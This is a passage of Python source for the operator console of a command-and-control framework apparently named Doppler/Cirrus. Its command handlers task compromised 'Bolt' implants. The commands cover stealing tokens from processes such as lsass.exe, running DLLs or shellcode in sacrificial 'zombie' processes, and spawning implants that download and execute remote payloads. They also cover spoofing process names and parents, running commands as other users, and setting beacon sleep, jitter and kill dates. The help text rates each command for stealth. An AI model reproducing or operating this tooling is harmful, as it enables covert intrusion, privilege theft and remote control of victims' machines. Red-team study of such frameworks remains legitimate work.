used.\n\n See \"help strvar\" for more info on String-Var Dynamic Values.\n\n Examples:\n pull google.com/robots.txt C:/robots.txt\n pull -a 'Chrome/Webkit %90d.%90d.%10d %12d/%30d' example.com/file.txt file.txt\n \"\"\"\n if _is_help(a):\n return self.do_help(\"pull\")\n if len(a) < 1:\n return print(\"pull [remote_path]\")\n r = PARSERS[PARSER_PULL].parse_args(a, eq=True)\n if not nes(r.url):\n return print(\"pull [remote_path]\")\n if not r.redirect and not nes(r.file):\n r.file = basename(r.url)\n if r.redirect and nes(r.output):\n return print('[!] Cannot use \"-r\"/\"--redirect\" with \"-o\"/\"--output\"!')\n self._exec(\n self.shell.cirrus.task_pull,\n url=r.url,\n path=r.file,\n agent=r.agent,\n dest=r.output,\n )\n\n def do_pwsh(self, *a):\n \"\"\"\n pwsh [-x|--detach] [-u ] [-d ] [-p ] [-f|--file] \n\n OS: Any\n OPsec: Maybe (depends on command / PowerShell Logging)\n Admin: Maybe (depends on command)\n\n Executes a command on the client as a PowerShell command will return the\n PID, exit code and any stdout/stderr data once the process completes.\n\n This handles the location of PowerShell automatically and fails if the\n PowerShell binary cannot be found (both Windows and *nix).\n\n The parent of this command can be controlled by the parent filter, which\n can be updated with the filter commands. By default the parent will be\n the current client process if not set.\n\n This command is affected by the \"set_hide\" command, which by default\n does not show any processes launched.\n\n The dollar sign \"$\" can be prefixed to a raw command instead to run as\n a PowerShell command instead of using this function.\n\n This command is affected by any saved credentials (if no credentials are\n specified manually. See below.)\n\n If the \"-x\" or \"--detach\" argument is specified, the command will be ran\n in \"detached\" mode and will return instantly and not be monitored. (This\n also allows the process to live even when the client is closed). This is\n the same as running this command with the \"hup\" command.\n\n The additional \"-u\", \"-p\" and \"-d\" arguments may be used to change the\n user the process is executed as. See the \"runas\" command for more info.\n\n If the \"-f\" or \"--file\" argument is specified, the command is evaluated\n to detect any Data Specification Identifiers present and can be a raw string\n value instead of a file. If no identifiers are found, this will default\n to a local file path to be read and will be sent to the shell as input\n to stdin.\n\n See \"help data\" for more info on Data Specification Identifiers.\n\n Examples:\n $Write-Host \"hello\"\n pwsh Get-Host\n pwsh Get-WmiObject -Class Win32_BIOS\n pwsh -u bob@example -p password1 Get-Host\n \"\"\"\n self._run(\"pwsh\", False, \"$\", *a)\n\n def do_sleep(self, v):\n \"\"\"\n sleep [duration]\n\n OS: Any\n OPsec: n/a\n Admin: n/a\n\n Update the sleep value for the client. The duration string by default is\n in seconds, but can be suffixed with a 'm', 'h' or 's' to indicate\n minutes, hours or seconds, respectively.\n\n If a forward slash \"/\" is specified, the jitter value may also be updated\n at the same time. (The percent symbol \"%\" may be included or omitted.\n\n If no value is specified, this displays the current sleep value.\n\n Examples:\n sleep\n sleep 5s\n sleep 2m\n sleep 30s/50\n sleep 15s/20\n \"\"\"\n if len(v) == 0:\n s = self.shell.cirrus.session(self.id)\n print(f'Sleep is set to: {int(int(s[\"sleep\"])//1000000000)}s')\n del s\n return\n self._system(f\"sleep {v}\")\n\n def do_touch(self, p):\n \"\"\"\n touch \n\n OS: Any\n OPsec: Not Safe! Disk Write\n Admin: Maybe (depends on target)\n\n Creates an empty file at the remote destination, if it does not already\n exist.\n\n Environment variables are processed on the client.\n\n Examples:\n touch C:/new-file.txt\n \"\"\"\n if len(p) == 0:\n return print(\"touch \")\n self._exec(self.shell.cirrus.task_touch, path=p)\n\n def do_steal(self, v):\n \"\"\"\n steal [pid | process_name]\n\n OS: Windows\n OPsec: Safe\n Admin: Maybe (depends on target)\n\n Attempt to steal and use a token from the target process.\n\n If the pid and/or name is not supplied, the parent filter will be used,\n which can be updated with the parent commands.\n\n If no pid or name is supplied and the parent filter is empty, this will\n return an error.\n\n Alias of \"elevate\".\n\n Examples:\n steal\n steal 1337\n steal lsass.exe\n steal winlogon.exe\n \"\"\"\n self._system_filter(\"elevate\", v)\n\n def do_proxy(self, *a):\n \"\"\"\n proxy [-r|--remove] [-u|--update]
\n\n OS: Any\n OPsec: Safe (Network logging?)\n Admin: Maybe (depends on port used)\n\n View, add or remove client-side proxies.\n\n When not provided with any arguments, this function will return a list\n of any proxies active on the client.\n\n To remove a currently active Proxy instance, specify the \"-r\" argument\n with the Proxy name.\n\n To add a Proxy, supply a name, bind address and a profile to be used.\n\n To update a Proxy, specify the \"-u\" argument along with the name and new\n bind address to be used. The profile may be omitted if it does not need\n to be changed.\n\n Depending on the build arguments of the client, it may only support a\n single Proxy instance or may not support them at all.\n\n Examples:\n proxy\n proxy test1 0.0.0.0:8080 tcp-profile1\n proxy -u test1 0.0.0.0:9090\n proxy -r test1\n \"\"\"\n if _is_help(a):\n return self.do_help(\"proxy\")\n if len(a) == 0:\n try:\n r = self.shell.cirrus.session(self.id)\n if \"proxy\" not in r or len(r[\"proxy\"]) == 0:\n return print(\"No proxy services are running.\")\n print(f'{\"Name\":16}Address\\n{\"=\"*40}')\n for i in r[\"proxy\"]:\n print(f'{i[\"name\"]:16}{i[\"address\"]:20}')\n del r\n except ValueError as err:\n print(f\"[!] {err}!\")\n return\n r = PARSERS[PARSER_PROXY].parse_args(a)\n if not nes(r.name):\n return print(\"proxy
\")\n if not r.remove and not nes(r.bind):\n return print(\"proxy
\")\n if not r.update and not r.remove and not nes(r.profile):\n return print(\"proxy creation requires a profile\")\n if r.remove:\n self._exec(self.shell.cirrus.session_proxy_remove, name=r.name)\n elif r.update:\n self._exec(\n self.shell.cirrus.session_proxy_update,\n name=r.name,\n address=r.bind,\n profile=r.profile,\n )\n else:\n self._exec(\n self.shell.cirrus.session_proxy_add,\n name=r.name,\n address=r.bind,\n profile=r.profile,\n )\n del r\n\n def do_script(self, n):\n \"\"\"\n script \n\n OS: Depends on Script contents\n OPsec: Depends on Script contents\n Admin: Depends on Script contents\n\n Runs the script with the supplied name. The resulting output from the\n script is depdent on it's settings.\n\n Examples:\n script script1\n script script_test\n \"\"\"\n if not is_valid_name(n, 1, True):\n return print(\"script \")\n self._exec(self.shell.cirrus.task_script, script=n)\n\n def do_creds(self, *a):\n \"\"\"\n creds [-c|--clear] [-d|--domain ] [[domain\\\\]user[@domain]] [password]\n\n OS: Any\n OPsec: n/a\n Admin: n/a\n\n View, set or clear the current saved credential set.\n\n This shell can store credentials to be used for successive calls to \"run\",\n \"hup\", \"shell\", \"pwsh\" and \"zombie\". If the credentials are valid, the\n commands will execute as the credentialed user instead.\n\n If no arguments are specified, this will return the current saved credentials\n (if any). Otherwise this can be used to set the credentials or clear them\n with the \"-c\" or \"--clear\" argument.\n\n If a domain is not specified with \"-d\" or \"--domain\", it will be parsed\n from the username. Common domain prefixes/suffixes are recognized, such\n as:\n\n - user@domain\n - domain/user\n - domain\\\\user\n\n If a domain is found, the username will be cleaned (without the domain)\n and set and the domain will be set as the new domain value.\n\n Any non-set value (except domain) will not be changed. Use an empty value\n for that value to set it to empty.\n\n (The domain value is ignored on non-Windows clients).\n\n Examples:\n creds\n creds -c\n creds user\n creds user \"\" # empty password\n creds user password\n creds domain\\\\user Password123\n creds -d example.com bob password\n \"\"\"\n if _is_help(a):\n return self.do_help(\"creds\")\n if len(a) == 0:\n if not nes(self._user):\n return print(\"No current saved credentials.\")\n return print(\n \"Saved Credentials:\\n\"\n f\"User: {self._user}\\n\"\n f\"Pass: {self._password}\\n\"\n f\"Domain: {self._domain}\"\n )\n r = PARSERS[PARSER_CREDS].parse_args(a)\n if r.clear:\n self._user, self._domain, self._password = \"\", \"\", \"\"\n del r\n return print(\"[+] Cleared saved credentials.\")\n if not nes(r.user):\n return print(\"creds [user] [password]\")\n if isinstance(r.pw, str):\n self._password = r.pw\n self._user, self._domain = split_user_domain(r.user, r.domain)\n del r\n print(\n f\"Saved Credentials:\\nUser: {self._user}\\n\"\n f\"Pass: {self._password}\\nDomain: {self._domain}\"\n )\n\n def do_runas(self, *a):\n \"\"\"\n runas [-x|--detach] [-d|--domain ] <[domain\\\\]user[@domain]> \n\n OS: Any\n OPsec: Maybe (depends on command)\n Admin: Maybe (depends on command)\n\n Run the command with the supplied user credentials. The command will NOT\n use any stored credentials and will only use the credentials specified.\n\n If no password is required, use an empty string \"\" or '' as a placeholder.\n\n The PID, exit code and any stdout/stderr data will be returned once the\n process completes only IF the \"-x\" or \"--detach\" argument is used. Otherwise,\n this will return after launching the process and will NOT gather any output\n or exit code data.\n\n If a domain is not specified with \"-d\" or \"--domain\", it will be parsed\n from the username. Common domain prefixes/suffixes are recognized, such\n as:\n\n - user@domain\n - domain/user\n - domain\\\\user\n\n If a domain is found, the username will be cleaned (without the domain)\n and use and the domain will be used as the new domain value.\n\n The parent of this command can be controlled by the parent filter, which\n can be updated with the filter commands. By default the parent will be\n the current client process if not set. Depending on the targeted parent,\n this may error with \"invalid handle\" as the user specified might not have\n permissions to access the parent targeted.\n\n This command is affected by the \"set_hide\" command, which by default\n does not show any processes launched.\n\n Examples:\n runas bob Password123 tasklist\n runas alice Password! whoami /all\n runas joe@corp.com password1 .dir\n runas -d example.com bob Password123 netstat -anop tcp\n \"\"\"\n if _is_help(a):\n return self.do_help(\"runas\")\n if len(a) == 0:\n return print(\"runas \")\n r = PARSERS[PARSER_RUNAS].parse_args(a, nones=False, cat=\" \")\n if not nes(r.user) or not nes(r.cmd):\n return print(\"runas \")\n u, d = split_user_domain(r.user, r.domain)\n self._exec(\n self.shell.cirrus.task_execute,\n cmd=r.cmd,\n show=self.show,\n detach=r.detach,\n filter=self.filter,\n user=u,\n domain=d,\n pw=r.pw,\n )\n del u, d, r\n\n def do_shell(self, *a):\n \"\"\"\n shell [-x|--detach] [-u ] [-d ] [-p ] [-f|--file] \n\n OS: Any\n OPsec: Maybe (depends on command)\n Admin: Maybe (depends on command)\n\n Executes a command on the client as a shell command will return the\n PID, exit code and any stdout/stderr data once the process completes.\n\n This handles the location of system shell automatically.\n\n The parent of this command can be controlled by the parent filter, which\n can be updated with the filter commands. By default the parent will be\n the current client process if not set.\n\n This command is affected by the \"set_hide\" command, which by default\n does not show any processes launched.\n\n The period symbol \".\" can be prefixed to a raw command instead to run as\n a shell command instead of using this function.\n\n This command is affected by any saved credentials (if no credentials are\n specified manually. See below.)\n\n If the \"-x\" or \"--detach\" argument is specified, the command will be ran\n in \"detached\" mode and will return instantly and not be monitored. (This\n also allows the process to live even when the client is closed). This is\n the same as running this command with the \"hup\" command.\n\n The additional \"-u\", \"-p\" and \"-d\" arguments may be used to change the\n user the process is executed as. See the \"runas\" command for more info.\n\n If the \"-f\" or \"--file\" argument is specified, the command is evaluated\n to detect any Data Specification Identifiers present and can be a raw string\n value instead of a file. If no identifiers are found, this will default\n to a local file path to be read and will be sent to the shell as input\n to stdin.\n\n See \"help data\" for more info on Data Specification Identifiers.\n\n Examples:\n shell pwd\n shell set\n .whoami\n .dir\n \"\"\"\n self._run(\"shell\", False, \".\", *a)\n\n def do_jitter(self, v):\n \"\"\"\n jitter [percentage %]\n\n OS: Any\n OPsec: n/a\n Admin: n/a\n\n Update the jitter percentage value for the client. The specified value\n can include or omit the percentage sign \"%\".\n\n If no value is specified, this displays the current jitter percentage.\n\n Examples:\n jitter\n jitter 50\n jitter 15\n \"\"\"\n if len(v) == 0:\n s = self.shell.cirrus.session(self.id)\n print(f'Jitter is set to: {s[\"jitter\"]}%')\n del s\n return\n self._system(f\"jitter {v}\")\n\n def do_mounts(self, _):\n \"\"\"\n mounts\n\n OS: Any except WASM\n OPsec: Safe\n Admin: No\n\n Lists all mounted drives and/or shares connected to the client.\n \"\"\"\n self._system(\"mounts\")\n\n def do_whoami(self, _):\n \"\"\"\n whoami\n\n OS: Any\n OPsec: Safe\n Admin: No\n\n Returns the current up-to-date username of the client without triggering\n a refresh.\n \"\"\"\n self._system(\"whoami\")\n\n def do_spawn(self, *a):\n \"\"\"\n spawn [pipe] [data]\n | [-m|--method] \n | [-t|--target] \n | [-n|--profile \n | [-f|--args] \n | [-a|--agent] \n | [-R|--no-reflect]\n | [-u|--user] <[domain\\\\]user[@domain]>\n | [-d|--domain] \n | [-p|--password] \n | [-e|--entry] \n | [-z|--no-auto]\n\n OS: Any\n OPsec: Not Safe! (If a local file without reflect is used), Disk Write\n Admin: Maybe (depends on method/target)\n\n Spawn a similar instance of this client using a type of method. The method\n can be specified by the \"-m\" argument.\n\n The \"pipe\" argument is required and specifies what pipe name to use to\n connect to the new instance. (However if the \"-P/--pipe\" argument was\n specified at runtime or through the \"DOPPLER_PIPE\" environment variable\n the pipe value will be inferred from there and it may be omitted. This\n action can be disable using the \"-z/--no-auto\" argument.) The pipe value\n is most likely compiled into the client.\n\n If any DLL or ASM files are specified using the Doppler command line, the\n file will be used if no file path is specified. Doppler will perfer the ASM\n payload over DLL, if specified. If no method is specified, it will default\n to ASM or DLL if a file is specified.\n\n By default, the current profile will be used, but can be changed by\n specifying the name with the \"-n\" argument.\n\n If the method is \"self\", \"exec\" or \"exe\" the additional \"-u\", \"-p\" and\n \"-d\" arguments may be used to change the user the process is executed as.\n See the \"runas\" command for more info.\n\n Data Specification Identifiers may be used in the data arguments to this\n command.\n\n See \"help data\" for more info on Data Specification Identifiers.\n\n The following methods are valid:\n\n dll\n | Use the data specified as a DLL migration method. This method requires\n | a target to be specified as the host for the DLL. By default, if the\n | \"-R\" or \"--no-reflect\" arguments are NOT supplied, this will convert\n | the DLL data to assembly before sending it to the client. Otherwise the\n | DLL will be written to disk before loading.\n |\n | If a remote path identifier is used instead, the \"-R\" and \"--no-reflect\"\n | arguments are ignored.\n |\n | The \"-e\" or \"--entry\" argument can be used to specify the function started\n | after DLLMain. This will only occur if the DLL is reflected and will be\n | ignored if empty.\n\n asm\n | Use the data specified as assembly migrate code. This method requires\n | a target to be specified as the host for the shellcode. If the data\n | represents a DLL, this will convert the DLL to assembly before sending\n | it to the client.\n |\n | The \"-e\" or \"--entry\" argument can be used to specify the function started\n | after DLLMain (if the file is a DLL or DLL bytes).\n\n exec|exe\n | Execute a command as the migrate method. This is the default option\n | if a method is not specified. If the special value \"self\" is used, this\n | will use the current client binary path to execute instead.\n\n pexec|url\n | Download a payload and execute it as a migrate method. This works\n | similar to the \"dex\" command and follows the same content rules.\n | This method will be automatically selected if a URL is detected and\n | no method is specified. To force the usage of this method, use \"pexec\"\n | or \"url\" as the \"-m\" argument value.\n |\n | Similar to the \"dex\" command, the \"-a\" or \"--agent\" argument may be\n | used to change the User-Agent used from the default value. See the\n | \"dex\" or \"pull\" command for more info.\n |\n | If a target is specified and the downloaded type requires a target, it\n | will be used, otherwise a random process will be chosen.\n |\n | If the download type is a command type the parent can be controlled by\n | the parent filter, which can be updated with the filter commands. By\n | default the parent will be the current client process if not set.\n\n zombie\n | Use the data specified as assembly migrate code in a zombified process.\n | This method requires a command to be used as the host, supplied using the\n | \"-f\" argument. The running binary must exist but the arguments may be\n | random/invalid. If the data represents a DLL, this will convert the DLL\n | to assembly before sending it to the client.\n |\n | The parent of the zombie process can be controlled by the parent filter,\n | which can be updated with the filter commands. By default the parent\n | will be the current client process if not set.\n |\n | The \"-e\" or \"--entry\" argument can be used to specify the function started\n | after DLLMain (if the file is a DLL or DLL bytes).\n\n The arguments for this command are similar to the \"migrate\" command.\n\n Examples:\n spawn pipe-me self\n spawn -m exec pipe-me\n spawn -p my_profile -m dll pipe-me ~/implant.dll\n spawn pipe-me http://path.to.shell.code\n spawn -m url pipe-me path.to.shell.code\n spawn -p my_profile -m asm ~/bolt.bin\n spawn -m zombie -f notepad.exe ~/implant.dll\n spawn -m self -u admin -p Password123 derp-me\n \"\"\"\n if _is_help(a):\n return self.do_help(\"spawn\")\n if len(a) < 1:\n return print(\"spawn [pipe] [data]\")\n r = PARSERS[PARSER_SPAWN].parse_args(a)\n if nes(self.shell.pipe) and not r.no_auto:\n if not nes(r.data) and nes(r.pipe):\n r.data = r.pipe\n r.pipe = self.shell.pipe\n print(HELP_PIPE.format(pipe=self.shell.pipe))\n elif not nes(r.pipe):\n r.pipe = self.shell.pipe\n print(HELP_PIPE.format(pipe=self.shell.pipe))\n if not nes(r.pipe):\n return print(\"[!] spawn: invalid/missing pipe name\")\n f = self.filter\n if nes(r.target):\n f = _quick_filter(r.target)\n try:\n m, c = _get_callable(\"spawn\", self.show, r, self.shell.asm, self.shell.dll)\n except (ValueError, OSError) as err:\n return print(f\"[!] {err}!\")\n self._exec(\n self.shell.cirrus.task_spawn,\n pipe=r.pipe,\n method=m,\n profile=r.profile,\n exec=c,\n filter=f,\n )\n del f, m, c, r\n\n def do_reboot(self, *a):\n \"\"\"\n reboot [-r|--reason ] [-t|--seconds ] [-f|--force] [message]\n\n OS: Any\n OPsec: I guess?\n Admin: Maybe (depends on permissions)\n\n Triggers a reboot of the client device.\n\n Force \"-f\" can be used to forcefully disconnect and reboot the device,\n preventing it from waiting based on running user programs.\n\n The \"-r\" specifies the reason code, which determines what is written in\n the Windows event log. Hex values for this option are accepted. This\n option and the \"-f\" force option are only used for Windows clients.\n\n The \"-s\" seconds value can be specified to delay the reboot for the period\n of time specified. If omitted, this defaults to zero.\n\n Any text that is not an argument is taken as a message string that is\n displayed to Windows clients in the \"shutdown\" message. This message may\n use Data Specification Identifiers to display raw or Base64 encoded text,\n but will not accept file paths. If no identifiers are found, it defaults\n to a string.\n\n See \"help data\" for more info on Data Specification Identifiers.\n\n Examples:\n reboot -r 0xFA -s 15\n reboot -s 30 All your base are belong to us!\n \"\"\"\n if _is_help(a):\n return self.do_help(\"reboot\")\n if len(a) == 0 and not do_ask(\"Reboot this device\"):\n return\n r = PARSERS[PARSER_POWER].parse_args(a, cat=\" \", nones=False)\n self._exec(\n self.shell.cirrus.task_power,\n action=\"restart\",\n message=r.message,\n force=r.force,\n seconds=r.seconds,\n reason=r.reason,\n )\n del r\n\n def do_untrust(self, v):\n \"\"\"\n untrust [pid | process_name]\n\n OS: Windows\n OPsec: Safe\n Admin: Maybe (depends on target)\n\n \"Untrust\" the target. This will strip the process of all it's permissions\n and will set the integrity level to Untrusted. This effectively nuters\n the ability for a process to do anything.\n\n If the pid and/or name is not supplied, the parent filter will be used,\n which can be updated with the filter commands.\n\n If no pid or name is supplied and the parent filter is empty, this will\n return an error.\n\n Examples:\n untrust\n untrust 1337\n untrust taskmgr.exe\n \"\"\"\n if not nes(v) and not do_ask(\n \"Are you sure you want to use the parent filter target\"\n ):\n return print(\"[!] Untrust aborted\")\n self._system_filter(\"untrust\", v)\n\n def do_parent(self, *a):\n \"\"\"\n parent [..optional-args..] [pid | name1,name2,nameX...]\n\n OS: n/a\n OPsec: n/a\n Admin: n/a\n\n If no arguments are specified, this will just display the current Parent\n Filter options set.\n\n The last value may be a PID or a (comma|space) seperated list of process\n names. If the value is a number an nothing else is specified, it will be\n considered a PID, otherwise be evaluated as a name.\n\n All set operations using this function are APPEND functions and will only\n overrite. Use the \"-c\" or \"--clear\" flag to reset the Filter.\n\n Other Optional Arguments\n | -c Clear the Parent Filter, takes priority over\n | --clear all other arguments.\n | -p Specify the PID to use for the Parent Filter.\n | --pid Takes priority over all other options.\n | -x Specify a (comma|space) seperated list of process\n | --exclude names to EXCLUDE from the Filter search process.\n | This may be used more than one time in the command.\n | -d Enable the search to only ALLOW FOREGROUND or\n | --desktop DESKTOP processes to be used. Default is don't\n | care. Takes priority over any disable arguments.\n | -D Enable the search to only ALLOW BACKGROUND or\n | --no-desktop SERVICE processes to be used. Default is don't\n | care.\n | -a | -e Enable the search to only ALLOW ELEVATED processes\n | --admin | --elevated to be used. Default is don't care. Takes priority\n | over any disable arguments.\n | -A | -E Enable the search to only ALLOW NON-ELEVATED\n | --no-admin | --no-elevated processes to be used. Default is don't care.\n | -f Enable the Filter to fallback if no suitable\n | --fallback processes were found during the first run and\n | run again with less restrictive settings.\n | -F Disable the Filter's ability to fallback if no\n | --no-fallback suitable processes were found during the first\n | run.\n\n Examples:\n parent\n parent 1337\n parent -p 1337\n parent svchost.exe\n parent -d -F -D -e lsass.exe\n parent -x notepad.exe,explorer.exe lsass.exe,svchost.exe\n parent -A -d -x winword.exe,notepad.exe -x cmd.exe explorer.exe,chrome.exe\n \"\"\"\n if _is_help(a):\n return self.do_help(\"parent\")\n if len(a) == 0:\n if self.filter is None:\n return print(\"[+] Parent Filter:\\n \")\n return print(f\"[+] Parent Filter:\\n {self.filter}\")\n r = PARSERS[PARSER_PARENT].parse_args(a)\n if r.clear:\n if self.filter is None or self.filter.is_empty():\n self.filter = None\n print(\"[+] Parent Filter:\\n \")\n return False\n self.filter = None\n print(\"[+] Parent Filter:\\n \")\n return True\n c = False\n if self.filter is None:\n c, self.filter = True, Filter()\n if nes(r.include):\n try:\n v = int(r.include, 10)\n except ValueError:\n pass\n else:\n c = c or self.filter.pid != v\n self.filter.pid = v\n if c:\n print(f\"[+] Parent Filter:\\n {self.filter}\")\n return c\n if isinstance(r.pid, int):\n if r.pid <= 0:\n c = c or (self.filter.pid is not None or self.filter.pid > 0)\n self.filter.pid = None\n else:\n c = c or self.filter.pid != r.pid\n self.filter.pid = r.pid\n if r.exclude is not None and len(r.exclude) > 0:\n v = _split_list_values(r.exclude)\n c = c or self.filter.exclude != v\n self.filter.exclude = v\n del v\n if r.include is not None and len(r.include) > 0:\n v = _split_list_values(r.include)\n c = c or self.filter.include != v\n self.filter.include = v\n del v\n if not r.no_admin or r.admin is not None:\n v = (r.admin is None and r.no_admin) or (r.admin is True and r.no_admin)\n c = c or self.filter.elevated != v\n self.filter.elevated = v\n del v\n if not r.no_desktop or r.desktop is not None:\n v = (r.desktop is None and r.no_desktop) or (\n r.desktop is True and r.no_desktop\n )\n c = c or self.filter.session != v\n self.filter.session = v\n del v\n if not r.no_fallback or r.fallback is not None:\n v = (r.fallback is None and r.no_fallback) or (\n r.fallback is True and r.no_fallback\n )\n c = c or self.filter.fallback != v\n self.filter.fallback = v\n del v\n del r\n print(f\"[+] Parent Filter:\\n {self.filter}\")\n return c\n\n def do_zombie(self, *a):\n \"\"\"\n zombie [-x|--detach]\n [-u|--user] \n [-d|--domain] \n [-p|--password] \n [-e|--entry] \n \n \n\n OS: Windows\n OPsec: Safe\n Admin: Maybe (depends on host target)\n\n Reads the data as binary data will run it in memory in a sacrificial\n suspended process. The Zombie process binary fake target must exist but\n can have any arguments.\n\n If the \"-x\" or \"--detach\" argument is specified, the command will be ran\n in \"detached\" mode and will return instantly and not be monitored. (This\n also allows the process to live even when the client is closed).\n\n The parent of this command can be controlled by the parent filter, which\n can be updated with the filter commands. By default the parent will be\n the current client process if not set.\n\n Data passed to this command will be evaluated for Data Specification\n Identifiers, but will default to a local file path.\n\n See \"help data\" for more info on Data Specification Identifiers.\n\n The \"-e\" or \"--entry\" argument can be used to specify the function started\n after DLLMain (if the file is a DLL or DLL bytes).\n\n This command is affected by any saved credentials (if no credentials are\n specified manually. See below.)\n\n The additional \"-u\", \"-p\" and \"-d\" arguments may be used to change the\n user the process is executed as. See the \"runas\" command for more info.\n\n Examples:\n zombie /home/hackerman/gibson.bin svchost.exe -k LocalSystemNetworkRestricted -p -s\n zombie /tmp/malware.dll notepad.exe this-file-does-not-exist.txt\n zombie ~/malware.dll -a admin -p Password123 explorer.exe\n zombie b$\\x00\\x090\\x33 -a admin -p Password123 explorer.exe\n \"\"\"\n if _is_help(a):\n return self.do_help(\"zombie\")\n if len(a) < 2:\n return print(\"zombie \")\n r = PARSERS[PARSER_ZOMBIE].parse_args(a, cat=\" \")\n if not nes(r.data):\n return print(\"zombie \")\n if not nes(r.args):\n return print(\"zombie \")\n if nes(r.user):\n u, d = split_user_domain(r.user, r.domain)\n p = r.pw\n else:\n u, d, p = self._user, self._domain, self._password\n self._exec(\n self.shell.cirrus.task_zombie,\n data=r.data,\n fake_args=r.args,\n show=self.show,\n detach=r.detach,\n filter=self.filter,\n user=u,\n domain=d,\n pw=p,\n )\n del r, u, p, d\n\n def do_profile(self, n):\n \"\"\"\n profile \n\n OS: Any\n OPsec: Safe\n Admin: No\n\n Sets the client profile to the profile specified by the supplied name.\n\n Examples:\n profile my-profile\n \"\"\"\n if len(n) == 0:\n return print(\"profile \")\n self._exec(self.shell.cirrus.task_profile, profile=n)\n\n def _exec(self, f, **a):\n if not isinstance(a, dict):\n a = dict()\n try:\n f(self.id, **a)\n except (ValueError, TypeError) as err:\n print(f\"[!] {err}!\")\n\n def do_elevate(self, v):\n \"\"\"\n elevate [pid | process_name]\n\n OS: Windows\n OPsec: Safe\n Admin: Maybe (depends on target)\n\n Attempt to steal and use a token from the target process.\n\n If the pid and/or name is not supplied, the parent filter will be used,\n which can be updated with the parent commands.\n\n If no pid or name is supplied and the parent filter is empty, this will\n return an error.\n\n Examples:\n elevate\n elevate 1337\n elevate lsass.exe\n elevate winlogon.exe\n \"\"\"\n self._system_filter(\"elevate\", v)\n\n def do_refresh(self, _):\n \"\"\"\n refresh\n\n OS: Any\n OPsec: Safe\n Admin: No\n\n Refresh the client's system information and return the results back to\n the server.\n \"\"\"\n self._system(\"refresh\")\n\n def do_killdate(self, v):\n \"\"\"\n killdate [date/time]\n\n OS: Any\n OPsec: n/a\n Admin: n/a\n\n Update the jitter kill date value for the client. The specified value\n should take the form of \"YYYY-MM-DD HH:MM\".\n\n The values \"YYYY\" may be subbed for \"YY\" or the date can be shortened to\n \"MM-DD\" which takes the next year if the date has already passed. \"HH:MM\"\n can also be omitted which will set the kill date to midnight on the\n specified date. The value of \"HH:MM\" may also be specified by itself to\n indicate the time of the current day.\n\n If no value is specified, this displays the current kill date.\n\n Examples:\n killdate\n killdate 23:30\n killdate 2050-10-30\n killdate 10-30 13:30\n killdate 2050-10-30 18:45\n \"\"\"\n if len(v) == 0:\n s = self.shell.cirrus.session(self.id)\n if \"kill_date\" in s and nes(s[\"kill_date\"]):\n print(f'Kill Date is set to: {s[\"kill_date\"]}')\n else:\n print(\"No Kill Date is set\")\n del s\n return\n if v == \"-c\" or v == \"--clear\":\n return self._system(\"killdate\")\n self._system(f\"killdate {v}\")\n\n def do_shutdown(self, f):\n \"\"\"\n shutdown [-f|--force]\n\n OS: Any\n OPsec: Safe\n Admin: No\n\n Indicates to the current client that it should shutdown and release it's\n resources.\n\n Pass the \"-f\" or \"--force\" to force shutdown and do not ask for confirmation.\n\n THIS DOES NOT SHUTDOWN THE CLIENT DEVICE, USE \"poweroff\" INSTEAD.\n \"\"\"\n if (not nes(f) or \"-f\" not in f) and not do_ask(\n \"Confirm shutdown of this Bolt\"\n ):\n return print(\"[-] Aborting shutdown!\")\n self.shell.cirrus.session_remove(self.id, True)\n print(\"[+] Triggered Bolt shutdown.\")\n self.shell.cache._bolts = None\n\n def do_cp(self, p, dest):\n \"\"\"\n cp \n\n OS: Any\n OPsec: Not Safe! Disk Write\n Admin: Maybe (depends on target)\n\n Copies a file from the specified remote path to the remote destination.\n The copy will overrite any file present at the destination path.\n\n Environment variables are processed on the client.\n\n Examples:\n cp C:/file1 C:/file2\n \"\"\"\n if not nes(p) or not nes(dest):\n return print(\"cp \")\n self._exec(self.shell.cirrus.task_copy, src=p, dest=dest)\n\n def do_mv(self, p, dest):\n \"\"\"\n mv \n\n OS: Any\n OPsec: Not Safe! Disk Write\n Admin: Maybe (depends on target)\n\n Moves a file from the specified remote path to the remote destination.\n The move will overrite any file present at the destination path.\n\n Environment variables are processed on the client.\n\n Examples:\n mv C:/file2 C:/file3\n \"\"\"\n if not nes(p) or not nes(dest):\n return print(\"mv \")\n self._exec(self.shell.cirrus.task_move, src=p, dest=dest)\n\n def do_procname(self, n):\n \"\"\"\n procname \n\n OS: Any except WASM\n OPsec: Safe-ish\n Admin: No\n\n Attempts to rename the process arguments to the provided string. On *nix\n devices, the value cannot be longer than the current process name and will\n be silently truncated if it's larger.\n\n This will replace the \"Command Line\" value on Windows, but may not work\n correctly if the build is a different architecture than the client.\n\n Examples:\n procname apache2\n procname [kernel]\n procname C:\\\\Windows\\\\System32\\\\rundll32.exe systemtask.ocx\n \"\"\"\n if len(n) == 0:\n return print(\"procname \")\n self._system(f\"procname {n}\")\n\n def do_regedit(self, *a):\n \"\"\"\n regedit [-f|--force] [value] [type] [data|int]\n\n OS: Windows\n OPsec: Maybe (depends on action / logging setup)\n Admin: Maybe (depends on action)\n\n Retrieve, delete or modify data on the client system's registry.\n\n The action argument specifies what to do and how many parameters are\n required\n\n Actions:\n\n get\n | Retrieve the data and type of the supplied key and value. The \"value\"\n | option is required, use an empty string to specify the \"(Default)\" value.\n\n ls|dir\n | Retrieve a listing of the keys and values for the supplied key path.\n | If \"value\" is specified, this will behave like a \"get\" action.\n\n set|edit|update\n | Set and/or update the registry value. If the value does not exist,\n | create it. Any keys in the path will also be created. This option\n | requires the \"value\" and \"type\" arguments to be specified, use an empty\n | string to specify the \"(Default)\" value. If \"data\" is omitted, this\n | will set the value as empty.\n\n rm|rem|del|delete\n | Delete the specified key or value (if \"value\" is not omitted). This\n | will only delete non-empty keys if the \"-f\" or \"--force\" argument is\n | specified.\n\n Type can be one of the following:\n - sz|string: \"data\" must be a string.\n - bin|binary: \"data\" must be in a Data Specification Identifier format.\n - dword|uint32: \"data\" must be a integer.\n - qword|uint64: \"data\" must be a integer.\n - multi|multi_sz: \"data\" must be a string, separate multiple entries with\n '\\\\n' (newline). Recommended to use Raw Strings with r$.\n - exp_sz|expand_string: \"data\" must be a string\n\n Spaces in Registry paths and values require them to be enclosed in quotes.\n\n Data passed to this command when setting value data will be evaluated for\n Data Specification Identifiers, but will default to text. THIS WILL NOT\n HAPPEN WHEN THE DATATYPE IS AN INTEGER.\n\n See \"help data\" for more info on Data Specification Identifiers.\n\n The \"key\" argument takes both \"reg.exe\" and PowerShell registry hive\n name conventions (ex: \"HKLM:\\\\System\" and \"HKLM\\\\System\" are equal.)\n\n If \"key\" or \"value\" have spaces, they must be enclosed in double quotes.\n\n Examples:\n regedit del 